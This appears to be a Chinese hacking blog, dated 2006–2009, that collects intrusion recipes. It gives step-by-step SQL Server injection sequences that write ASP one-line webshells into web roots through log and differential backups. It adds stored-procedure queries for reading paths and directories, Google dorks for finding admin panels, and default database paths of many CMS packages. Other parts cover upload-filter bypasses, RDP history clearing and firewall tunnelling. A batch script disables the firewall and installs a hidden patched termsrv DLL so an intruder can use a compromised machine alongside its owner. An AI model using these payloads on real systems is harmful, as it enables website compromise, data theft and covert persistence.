2009年05月03日

1、是cookie中转注入。
2、是转换
例如:www.xxx.com/123.asp?id=234 把id转换成%69%64这种形式。
3、还是转换
以前遇到的一个站,用方法2不成功,然后换一种转换方式就OK了。
就是把and 1=1 转换成%61%6E%64%20%31%3D%31 这种形式的。(就是把注入的语句转换了)

2007年05月10日

很多时候,因为内网信任或者vlan等我们在外面连不上目标的3389终端,又不可能每次都靠反弹后门来htran

一般来说,可以在内网信任的任何一台机器(比如web)上来直接mstsc来连接内网ip

默认是空记录,或者是仅有几个被连接过的ip记录,当我们连接完内网新的ip的时候,连接记录会默认显示出来,很苦恼啊。有经验的管理员基本上都可以发现

清理很简单

HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default
把右边显示出来的,非原有的ip键值直接DEL就可以啦~~但是千万记住默认注册表打开的时候,当前键值是在哪儿(一般是主键,没有分树),照着默认一打开时候的树状模样恢复就ok

不少公司的防火墙作了较为严格的限制,以至于很多网络服务如QQ、MSN都无法运行,如果你还能够打开网页,那么,使用Http通道软件可以让你突破限制,可以在现有的网络条件中使用任何网络服务。

使用Http通道软件可以突破防火墙的限制,利用唯一Http访问的权限获得其他Internet应用。那么什么是通道呢?这里所谓的通道,是指一种绕过防火墙端口屏蔽的通讯方式。防火墙两端的数据包封装在防火墙所允许通过的数据包类型或是端口上,然后穿过防火墙与对方通讯,当封装的数据包到达目的地时,再将数据包还原,并将还原后的数据包转交到相应的服务器上。

Http-tunnel是一个专业提供Http通道服务的公司,通过他们的在线Tunnel Server,局域网内的用户可以使用被防火墙所屏蔽的ICQ、E-mail、PC Anywhere、MSN、 QQ、Napster等软件。

使用Http-tunnel的Tunnel Server必须使用Http-tunnel的客户端程序Http-Tunnel Client,Http-Tunnel Client的免费版本允许40Kb/秒的数据转发服务。

一、程序安装和设置

1.运行下载的安装程序,安装过程比较简单一路Next即可完成。

2.安装完成后,会弹出"Configuration(配置)"窗口,设置本机的Internet连接,有三个选项:

a) Auto detected(自动检测):你果你不知道你的机器连接,可以选择这个。

b) No Proxy,only a firewall(直接上网,有防火墙):使用局域网和直接上网的用户选这个。

c) Specify Proxy(指定代理服务器):如果你使用代理服务器上网,选这个,同时你还必须输入代理服务器的地址和端口,如果需要用户名和密码还需要一并输入。

3.设置好连接,可以单击"Test(测试)"按钮,测试一下,如果看到"Test successful(测试成功)"的提示,就代表你设置的已经完成。

4.程序正常运行后,可以将它最小化,它会在任务栏的提示区内生成一个下图标,单击可还原。

二、设置QQ访问

由于QQ对外访问使用的端口是4000,所以网络管理员通常通过限制端口的使用来限制QQ的访问,下面介绍一下如何设置QQ通过http-tunnel访问Internet。

1.打开QQ,单击"QQ菜单"按钮,选择"系统参数"。

2.在弹出的QQ参数设置窗口中,选择"网络设置"。

3.勾上"使用代理服务器"。

4.输入代理服务器地址:127.0.0.1,端口号:1080。

5.确定,关闭所有窗口,重新登录即可使用QQ了。

三、设置MSN访问

MSN的访问设置可QQ差不多,不过http-tunnel支持MSN要比QQ好得多,设置步骤如下:

1.选择"工具"菜单的"选项"。

2.选择"连接"标签。

3.勾上"我使用代理服务器"。

4.类型选择"SOCKS4",服务器中输入"127.0.0.1",端口号"1080"。

5.确定,关闭所有窗口,重新登录即可使用MSN了。

四、设置Cuteftp的访问

有时候网络管理员为控制网络带宽的使用和保障信息安全,需要限制FTP服务,这给文件的上传和下载带来了不便。通过设置一样可以确保Cuteftp实现Internet的访问,设置步骤如下:

1.选择"编辑"菜单,选择"设置",弹出设置窗口。

2.展开"连接",选择"SOCKS",选择"SOCKs4",主机:127.0.0.1 端口:1080。(tu5.bmp)

3.选择"防火墙",勾上"启用防火墙访问"和"PASV模式"

4.确定,关闭所有窗口,即可选择站点登录下载文件。

五、设置Windows XP的远程桌面连接使用Http-Tunnel

由于远程桌面连接并没有提供代理服务器设置的界面,所以无法像QQ、MSN和Cuteftp一样直接设置,这时候我们可以使用SocksCap协助我们完成,具体步骤是:

1.安装SocksCap。

2.运行SocksCap,选择"文件"菜单中的"设置",弹出"SocksCap 设置"对话框。

3.在"服务器/SOCKS 服务器"并填上127.0.0.1,"Port(端口)"填1080。

4.在"Protocol"里选择"SOCKS 版本 4",在"域名解析"里选择"Resolve all names remote(远程解析)"。

5.单击"新建"按钮,在"标识项名称"中输入mstsc。

6.单击"浏览"按钮,找到MStsc.exe文件所在的位置即可。

7.单击"确定"按钮即可。

使用时,双击SocksCap列表中的mstsc图标,即可启动mstsc,mstsc访问网络都将通过代理跳板进行。需注意的是,一定要从SocksCap中启动mstsc,否则将不会使用代理跳板。其实很多不能设置的防火墙的Internet应用程序,都可以通过这种方式,实现Http通道的功能。

2007年05月02日

dbowner 通过注射得到一个shell应该不是什么难事情了,比较麻烦的是就算利用增量备份,仍然有很多不确定的因素,如果之前别人有过什么错误的写入信息,可能备份出来得到的还是一些不能用的500错误,如何能够提高成功率及重用性呢?如果单从调整增量备份的方式来看,尽管能够达到一些效果,但是方法比较复杂而且效果不明显。加上关于重用性的考虑,例如多次备份的成功率,backupdatabase的方法并不太适用。这里将要讲述的是另外一个备份的方法,导出日志文件到web目录来获得shell。
获得webshell首先要知道物理路径。关于物理路径的暴露有很多方法,注入也可以得到,就不再多说。值得注意的是,如果数据库和web分离,这样肯定得不到webshell,备份出来的东西可以覆盖任何文件,一些关于开始菜单的想法还是有效的,只要注意扩展名就好。扯远了,反正如果数据库和web在一块的,你就有机会,反之还是想其他的办法吧。
然后你要得到当前的权限和数据库名。如果是sysadmin当然没有必要做很复杂的事情,dbowner足矣,public则不行。当前打开的库名用一个db_name()就可以得到,同样很简单。
默认的情况是,一般选择的数据库故障还原类型都是简单,这时候不能够对日志文件进行备份。然而我们都是dbowner了,还有什么不能做的呢,只要修改一下属性就可以。由于不能去企业管理器中修改,只有用一段SQL语句,很简单的,这样就可以:

alterdatabaseXXXXsetRECOVERYFULL

其中XXXX是你得到的数据库的名字,执行过后就可以备份日志了。这种修改是破坏性的,因为你不知道以前的故障还原模式是什么,细心的管理员看到异样,可能就要开始起疑心。如果之前你能得到数据库的状态,最好还是在备份完以后把这个数据库的属性改回来。

剩下的事情就是怎样让数据库用最原始的方式记录下你的数据了。这一点和backupdatabase中设定表名为image的问题相对应,如果你只是建立一个<%%>之类的表,日志里面的记录还是以松散的格式记录的,也就是<%%>,没有任何效果。通过实际的测试,发现还是可以通过与backupdatabase类似的方式记录进去,如下:

createtablecmd(aimage)
insertintocmd(a)values(‘<%Execute(request("Swan"))%>’)
backuplogXXXXtodisk=’c:\xxx\2.asp’

这样你已经得到一个webshell了。

到这里就完了么?没有,呵呵,我们继续。
到这里有两个分支方向,第一个,让注入的时候不出现单引号,太简单了,我都懒得写;第二个,减小这个webshell的长度以及提高成功率。下面的方法就是讨论第二个分支问题的,同样适用于backupdatabase的减小。
首先是初始化这个日志。

backuplogXXXXtodisk=’c:\caonima’withinit

这样有点类似于增量备份的第一步,不过有点不同的是,你做了这个以后,你备份出来的可用的shell是固定的。这一点比较重要,因为有了这一步,不管管理员在数据库里面做了什么扰乱你backdatabase的手脚,或者你之前有多少混蛋(你肯定会这么想的)弄了些你不喜欢的东西,都没有关系,甚至你做过以后,别人在后面再按照你的方法来一次,还是会成功,这对于偶尔出现的反复,比如对方机器重装但是数据库和代码没变,有不小的帮助。
然后是调整一下backup中各个语句的顺序。通过第一点,大概的步骤已经确定下来了,那就是:

alterdatabaseXXXXsetRECOVERYFULL
backuplogXXXXtodisk=’c:\Sammy’withinit
createtablecmd(aimage)
insertintocmd(a)values(‘<%Execute(request("Swan"))%>’)
backuplogXXXXtodisk=’c:\xxx\2.asp’

这样不好,感觉上多了一条没用的东西。

createtablecmd(aimage)

确实有点讨厌,不过这句是必要的,只好调整一下位置,弄到其他地方去。调换一下顺序似乎还可以小一点,对于backupdatabase中的增量情况同样是可以的,backupdatabase甚至可以仅仅在update后马上备份,不过由于涉及到了数据的存储格式,情况很复杂,这里不讨论。调整后的是:

alterdatabaseXXXXsetRECOVERYFULL
createtablecmd(aimage)
backuplogXXXXtodisk=’c:\Sammy’withinit
insertintocmd(a)values(‘<%Execute(request("Swan"))%>’)
backuplogXXXXtodisk=’c:\xxx\2.asp’

成功的话,备份出来的shell(上面的2.asp)有78.5k,文件长度固定的是80,384字节。很挑剔的朋友也可以接受了吧,当然用这个来生成一个干净的木马也可以——这本来就是顶端cs木马的s端,很通用的。
进一步的,虽然不能再次缩小这个木马了,但是可以让垃圾文件少一点,那就是加上response.end,这样后面的垃圾数据就不再显示。所有的垃圾数据,你可以统计一下,大约只有6~12k,也就是说,<%Execute(request("Swan"))%>这个数据大约在2.asp文件偏移6xxx到12xxx附近,最好的情况似乎在6k左右,而且这个概率分布比较靠前,很少见到10k以上。这还是比较令人满意的。

目前用backuplog来测试的成功率是100%,就这样分析似乎不应该有失败的情况。无论如何,这个比backupdatabase好太多了。

<img src="eWebEditor_v280_Free/SysImage/file/rar.gif" onmouseover="javascript:if(this.width>520)this.width=520;" style="CURSOR: hand" onclick=javascript:window.open(this.src); onload="javascript:if(this.width>520)this.width=520;" align=absmiddle border="0"><A HREF="/userfile/eviloctal.org/zhouzhen/edit/2006329144551316.rar" TARGET=_blank>GetWebShell.rar</A>
</font></div>
<div align="right">【字体大小:<a onclick="main.size=3" style="cursor:hand;">大</a>
<a onclick="main.size=2" style="cursor:hand;">中</a>
<a onclick="main.size=1" style="cursor:hand;">小</a>】
【<a onclick="allinfo.select();document.execCommand(‘Copy’);alert(‘复制完成’)" style="cursor:hand;">复制源文件</a>】
<TEXTAREA name="allinfo" id="allinfo" style="width:0;height:0xp">
[转载]backup log to get a webshell
作者:admin [bAck iN BLack]
来源:http://zhouzhen.eviloctal.org/Look.asp?LogID=822
dbowner通过注射得到一个shell应该不是什么难事情了,比较麻烦的是就算利用增量备份,仍然有很多不确定的因素,如果之前别人有过什么错误的写入信息,可能备份出来得到的还是一些不能用的500错误,如何能够提高成功率及重用性呢?如果单从调整增量备份的方式来看,尽管能够达到一些效果,但是方法比较复杂而且效果不明显。加上关于重用性的考虑,例如多次备份的成功率,backup database的方法并不太适用。这里将要讲述的是另外一个备份的方法,导出日志文件到web目录来获得shell。
获得webshell首先要知道物理路径。关于物理路径的暴露有很多方法,注入也可以得到,就不再多说。值得注意的是,如果数据库和web分离,这样肯定得不到webshell,备份出来的东西可以覆盖任何文件,一些关于开始菜单的想法还是有效的,只要注意扩展名就好。扯远了,反正如果数据库和web在一块的,你就有机会,反之还是想其他的办法吧。
然后你要得到当前的权限和数据库名。如果是sysadmin当然没有必要做很复杂的事情,dbowner足矣,public则不行。当前打开的库名用一个db_name()就可以得到,同样很简单。
默认的情况是,一般选择的数据库故障还原类型都是简单,这时候不能够对日志文件进行备份。然而我们都是dbowner了,还有什么不能做的呢,只要修改一下属性就可以。由于不能去企业管理器中修改,只有用一段SQL语句,很简单的,这样就可以:

alter database XXXX set RECOVERY FULL

其中XXXX是你得到的数据库的名字,执行过后就可以备份日志了。这种修改是破坏性的,因为你不知道以前的故障还原模式是什么,细心的管理员看到异样,可能就要开始起疑心。如果之前你能得到数据库的状态,最好还是在备份完以后把这个数据库的属性改回来。

剩下的事情就是怎样让数据库用最原始的方式记录下你的数据了。这一点和backup database中设定表名为image的问题相对应,如果你只是建立一个<%%>之类的表,日志里面的记录还是以松散的格式记录的,也就是< % % >,没有任何效果。通过实际的测试,发现还是可以通过与backup database类似的方式记录进去,如下:

create table cmd (a image)
insert into cmd (a) values (‘<%Execute(request("Swan"))%>’)
backup log XXXX to disk = ‘c:\xxx\2.asp’

这样你已经得到一个webshell了。

到这里就完了么?没有,呵呵,我们继续。
到这里有两个分支方向,第一个,让注入的时候不出现单引号,太简单了,我都懒得写;第二个,减小这个webshell的长度以及提高成功率。下面的方法就是讨论第二个分支问题的,同样适用于backup database的减小。
首先是初始化这个日志。

backup log XXXX to disk = ‘c:\caonima’ with init

这样有点类似于增量备份的第一步,不过有点不同的是,你做了这个以后,你备份出来的可用的shell是固定的。这一点比较重要,因为有了这一步,不管管理员在数据库里面做了什么扰乱你back database的手脚,或者你之前有多少混蛋(你肯定会这么想的)弄了些你不喜欢的东西,都没有关系,甚至你做过以后,别人在后面再按照你的方法来一次,还是会成功,这对于偶尔出现的反复,比如对方机器重装但是数据库和代码没变,有不小的帮助。
然后是调整一下backup中各个语句的顺序。通过第一点,大概的步骤已经确定下来了,那就是:

alter database XXXX set RECOVERY FULL
backup log XXXX to disk = ‘c:\Sammy’ with init
create table cmd (a image)
insert into cmd (a) values (‘<%Execute(request("Swan"))%>’)
backup log XXXX to disk = ‘c:\xxx\2.asp’

这样不好,感觉上多了一条没用的东西。

create table cmd (a image)

确实有点讨厌,不过这句是必要的,只好调整一下位置,弄到其他地方去。调换一下顺序似乎还可以小一点,对于backup database中的增量情况同样是可以的,backup database甚至可以仅仅在update后马上备份,不过由于涉及到了数据的存储格式,情况很复杂,这里不讨论。调整后的是:

成功的话,备份出来的shell(上面的2.asp)有78.5k,文件长度固定的是80,384字节。很挑剔的朋友也可以接受了吧,当然用这个来生成一个干净的木马也可以——这本来就是顶端cs木马的s端,很通用的。
进一步的,虽然不能再次缩小这个木马了,但是可以让垃圾文件少一点,那就是加上response.end,这样后面的垃圾数据就不再显示。所有的垃圾数据,你可以统计一下,大约只有6~12k,也就是说,<%Execute(request("Swan"))%>这个数据大约在2.asp文件偏移6xxx到12xxx附近,最好的情况似乎在6k左右,而且这个概率分布比较靠前,很少见到10k以上。这还是比较令人满意的。

目前用backup log来测试的成功率是100%,就这样分析似乎不应该有失败的情况。无论如何,这个比backup database好太多了。

<%eval(request("a")):response.end%> 备分专用一句话
加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.

日志备分WEBSHELL标准的七步:

1.InjectionURL’;alter database XXX set RECOVERY FULL– (把SQL设置成日志完全恢复模式)

2.InjectionURL’;create table cmd (a image)– (新建立一个cmd表)

3.InjectionURL’;backup log XXX to disk = ‘c:\cmd’ with init– (减少备分数据的大小)

4.InjectionURL’;insert into cmd (a) values (‘<%%25eval(request("a")):response.end%%25>’)– (插入一句话木马)

5.InjectionURL’;backup log XXX to disk = ‘d:\chinakm\test.asp’– (备分日志到WEB路径)

6.InjectionURL’;drop table cmd– (删除新建的cmd表)

7.InjectionURL’;alter database XXX set RECOVERY SIMPLE–(把SQL设置成日志简单恢复模式)

注:InjectionURL是注入点,XXX是数据库名称.

附上DB_ONER权限HACK的其他技巧,希望对菜菜有所帮助,高手略过.

数据库差异备份代码:

1、create table [dbo].[jm_tmp] ([cmd] [image])– 创建一个表

2、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0X6A006D00640063007700 backup database @a to disk = @s –备份数据库,@s为备份名称(jmdcw的16进制转换)

3、insert into [jm_tmp](cmd) values(0×3C2565786563757465287265717565737428226C222929253E)–将一句话木马 "<%execute(request("l"))%>"的16进制字符插入到表中

4、declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=’C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\hsqq.asp’ backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT –对数据库实行差异备份,备份的保存路径暂定为C盘目录,文件名为hsqq.asp。

5、drop table [jm_tmp]– 删除此表。

网站物理路径读取代码:

1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)– 创建表

2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,'/’– 将网站目录插到表字段中

3、and (select top 1 cast([data] as nvarchar(4000)+char(124) from [jm_tmp] order by [data] desc)=0 ‘//暴出字段

4、drop table [jm_tmp]– 删除此表。

磁盘目录读取代码:

1、drop table [jm_tmp];create table [jm_tmp](subdirectory nvarchar(400) NULL,depth tinyint NULL,[file] bit NULL)– 创建表

2、delete [jm_tmp];insert [jm_tmp] exec master..xp_dirtree ‘C:\’,1,1– 将C盘的文件夹及文件插入到表中

3、 and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 1 [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) ‘//暴出第一个文件夹名称

4、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 2 [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) ‘//暴出第二个文件夹名称

5、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top X [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) ‘//暴出第X个文件夹或文件名称

6、drop table [jm_tmp]–删除此表

网站物理路径读取代码:

1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)– 创建表

2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,'/’– 将网站目录插到表字段中

3、and (select top 1 cast([data] as nvarchar(4000)+char(124) from [jm_tmp] order by [data] desc)=0 ‘//暴出字段

4、drop table [jm_tmp]– 删除此表。

注射过程中DB_ONER权限并且主机与数据库不在一起的搞法

其实.即使数据库和WEB不在一块还是有机会搞的.并不是说一点机会没.一般服务器装好系统什么的.都会装个IIS吧?列他C盘.看看有没有Inetpub 这个目录.就知道他有没有装IIS了.但是.不知道他IP也?怎么办呢?可以这样来,PING一下WEB服务器.扫他这一C段的1433端口.看看哪台开了.不过这方法也不好.现在很多主机都启用了防火墙.1433端口就算开了你也扫不着.这该怎么办呢?可以利用opendatasource宏让对方的 SQL与自己的数据库建立连接.既然能建立连接.就可以得到数据库服务器的IP地址了.我们来试试看.有几个前提得说一下.第一.你机器必须要有公网 IP.而且开放的1433端口要保证能被外网访问到.好.条件满足.就开始做吧!

我现在搞的这站.100%数据和WEB不在一块.但是从C盘看到了Inetpub文件夹.说明这数据库服务器安装了IIS.但是得不到他IP呀.怎么搞哦.简单.就用上面所说的方法搞一下.先在本机建个库先.打开查询分析器输入
create database hack520 create TABLE zhu(name nvarchar(256) null);create TABLE J8(id int NULL,name nvarchar(256) null); 点执行.

建立了一个hack520的库名.和zhu J8两个表.zhu里面有name这一个字段.J8也放了两字段名.一个是id一个是name.好了.现在就可以开始建立连接了~~~~~~~先看一下这条SQL语句insert into opendatasource(’sqloledb’,’server=你的IP;uid=SQL用户;pwd=SQL密码;database=建立的库名’) .库名.表名 ‘执行的语句’ 恩现在开始吧…

http://www.xxx.com/news.asp?id=126&#39;inser … asource(’sqloledb’,’server=219.149.xx.182;uid=sa;pwd=hack520!@#77169;database=hack520′).hack520.dbo.zhu%20select%20name%20from%20master.dbo.sysdatabases–

在IE上执行咯.呵呵这个时候对方就会连接到我机器的SQL服务器.不信?netstat -an看一下

在CMD下输入命令:
netstat -an | find "1433"

察看基本情况:
info:xx.com 返回一些基本信息
site:xx.com 返回所有与该有关的url
link:xx.com 返回所有与该站做了连接的站

site:xx.com filetype:txt 查找TXT文件 其他的依次内推

查找后台
site:xx.com intext:管理
site:xx.com inurl:login
site:xx.com intitle:后台

查看服务器使用的程序
site:xx.com filetype:asp
site:xx.com filetype:php
site:xx.com filetype:jsp
site:xx.com filetype:aspx

查看上传漏洞:
site:xx.com inurl:file
site:xx.com inurl:load

查找注射点:
site:xx.com filetype:asp

2007年04月12日
<%
pass="zs"
If request("bin")= pass then
shell = "bin.asp"
Connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath(shell)
set connad=server.createobject("adox.catalog")
connad.create connstr
Set conn=server.createobject("Adodb.Connection")
conn.open connstr
conn.execute("create table cmd(shell text)")
conn.execute("insert into cmd (shell) values (‘<"&Chr("37")&"e"&"val+request("""&pass&""")"&chr("37")&">’)")
End If 
%>
2007年03月27日

/data/dvbbs7.mdb 动网论坛数据库
/databackup/dvbbs7.mdb 动网论坛数据库
/bbs/databackup/dvbbs7.mdb 动网论坛数据库
/admin/data/qcdn_news.mdb 青创文章管理系统数据库
/data/qcdn_news.mdb 青创文章管理系统数据库
/firend.mdb 交友中心数据库
/database/NewCloud6.mdb 新云管理系统6.0数据库
/database/PowerEasy4.mdb 动易网站管理系统4.03数据库
/blogdata/L-BLOG.mdb L-BLOG v1.08数据库
/database/bbsxp.mdb BBSXP论坛数据库
/access/sf2.mdb 雪人论坛程序v2.0数据库
/data/Leadbbs.mdb LeadBBS论坛 v3.14数据库
/bbs/Data/LeadBBS.mdb LeadBBS论坛 v3.14数据库
/bbs/access/sf2.mdb 雪人论坛程序v2.0数据库
/bbs/database/bbsxp.mdb BBSXP论坛数据库
/blog/blogdata/L-BLOG.mdb L-BLOG v1.08数据库
/fdnews.asp 六合专用BBS数据库
/bbs/fdnews.asp 六合专用BBS数据库
/admin/ydxzdate.asa 雨点下载系统 v2.0+SP1数据库
/data/down.mdb 动感下载系统XP Ver2.0数据库
/database/Database.mdb 轩溪下载系统 v3.1数据库
/db/xzjddown.mdb lhdownXp 下载系统数据库
/data/db1.mdb 动感下载系统XP v1.3数据库
/db/play.asp 娱乐先锋论坛 v3.0数据库
/mdb.asp 惊云下载系统 v1.2数据库
/admin/data/user.asp 惊云下载系统 V3.0数据库
/data_jk/joekoe_data.asp 乔客6.0数据库
/data/news3000.asp 沸腾展望新闻系统 v1.1数据库
/data/appoen.mdb 惠信新闻系统4.0数据库
/data/12912.asp 飞龙文章管理系统 v2.1数据库
/database.asp 动感极品下载管理系统 v3.5
/download.mdb 华仔软件下载管理系统 v2.3
/data/zm_marry.asp 动网SP2美化版数据库
/dxxobbs/mdb/dxxobbs.mdb dxxobbs论坛数据库

2006年12月10日
后台填加 gif|jpg|png|bmp|rar|zip|swf|doc|aaaspspaspsp
目录限制执行脚本,改上传文件夹为inc
顺利拿到shell
2006年12月06日

第一步:首先是在Windows XP上安装SP2正式版,按照常规方式安装即可,这里不再赘述。

第二步:准备一份版本较早的SP2终端服务器软件(据说从Build 2082开始该功能就被禁止了,所以最好使用之前版本),中文SP2测试版较难找到,我用的是英文版Build 2055,运行之后没有发现任何问题。你可以从http://www.msfn.org/board/index.php?s=85a71ca2987c89886c99733154ae685f&act=Attach&type=post&id=161513下载Build 2055的终端服务器执行文件TermSrv.DLL。从这个链接下载来的是一个扩展名为.DL_的文件,你可以把它的扩展名改成ZIP文件,然后用WinRAR解开它。

第三步:接下来,以安全模式启动Windows XP,如果有多个操作系统,可以启动另一个能访问Windows XP系统分区的系统(除非安装了第三方工具软件,否则Windows 98不能访问NTFS分区,因此Windows 98可能没用)。然后,把Windows XP里面SP2正式版的所有 TermSrv.DLL备份一下,在所有TermSrv.DLL文件出现的位置,用Build 2055版本的TermSrv.DLL覆盖。通常, TermSrv.DLL至少出现在二个位置,分别是:\Windows\system32,\Windows\system32\dllcache。凡是原来有TermSrv.DLL的地方,就用Build 2055版本的TermSrv.DLL覆盖。

  第四步:以正常模式启动Windows XP,如果系统的文件保护功能提示说TermSrv.DLL文件已被修改,并询问是否要复原,选择否。

  第五步:最后还要修改一下注册表,增加终端服务器的多用户许可。鉴于修改注册表比较麻烦而且容易出错,你可以用下面的批命令修改注册表:

  @echo off
  setlocal
  set regkey="HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core"
  reg add %regkey% /v EnableConcurrentSessions /T REG_DWORD /D 1 /f
  endlocal

  将上述内容保存为一个批命令文件,如AA.BAT,双击执行一下就可以了。

我不推荐这种做法 ,太烦锁了,而且还要让系统重起过。我们可以写一个批处理文件使系统不用重起就实现XP多用户登陆,首先我们先来了解一个对注册表操作的命令参数:

REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]

KeyName [\\Machine\]FullKey
Machine 远程机器名 – 忽略默认到当前机器。远程机器上
只有 HKLM 和 HKU。
FullKey ROOTKEY\SubKey
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey 所选 ROOTKEY 下注册表项的完整名。

/v 所选项之下要添加的值名。

/ve 为注册表项添加空白值名(默认)。

/t RegKey 数据类型
[ REG_SZ | REG_MULTI_SZ | REG_EXPAND_SZ |
REG_DWORD | REG_BINARY | REG_NONE ]
如果忽略,则采用 REG_SZ。

/s 指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符
如果忽略,则将 "\0" 用作分隔符。

/d 要分配给添加的注册表 ValueName 的数据。

/f 不用提示就强行覆盖现有注册表项。

例如:

REG ADD \\ABC\HKLM\Software\MyCo
添加远程机器 ABC 上的一个注册表项 HKLM\Software\MyCo

REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead
添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead)

REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail
添加一个值(名称: MRU,类型: REG_MUTLI_SZ,数据: fax\0mail\0\0)

REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^%
添加一个值(名称: Path,类型: REG_EXPAND_SZ,数据: %systemroot%)
注意: 在扩充字符串中使用插入符号 ( ^ )

为了让系统不重起,我们可以用shutdown -a 这个命令。
根据上面找来的资料,我们可以编写一个批处理,实现XP系统多用户登陆而又不用重起系统。
代码如下:

@echo off
@net stop sharedaccess
@ntsd -c q -p "pid"
@reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f
@reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
@reg add HKLM\SYSTEM\CurrentControlSet\control\terminal" "server\Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
@reg add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\termsrvhack.dll /f
@copy c:\termsrvhack.dll c:\windows\system32\dllcache\termsrvhack.dll
@attrib +h +s +r c:\windows\system32\dllcache\termsrvhack.dll
@copy c:\termsrvhack.dll c:\windows\system32\termsrvhack.dll
@attrib +h +s +r c:\windows\system32\termsrvhack.dll
@shutdown -a
@del c:\termsrvhack.dll
@net start termservice
@del c:\3389.bat

其中“pid"是要替换成TermService服务的PID号,可以用命令tasklist/svc命令得到。当然win2000和以下系统是没有tasklist命令的。
具体的操作方法是
先要得到对方的一个SHELL,然后在shell下用第三方软件打开终端服务,先不要改变默认的3389端口,不然要重起后才登陆,再建一个或克隆一个超级管理员用户。
接下来把下载好的termsrvhack.dll和上面的批处理传到对方的C盘根目录下,然后在shell下运行此批处理。提示成功!
最后打开登陆器,3389终端登陆!
说明一下你登陆进去后在里面的操作和那台电脑的主人操作是互不影响的,他玩他的,你玩你的,呵呵,爽伐?!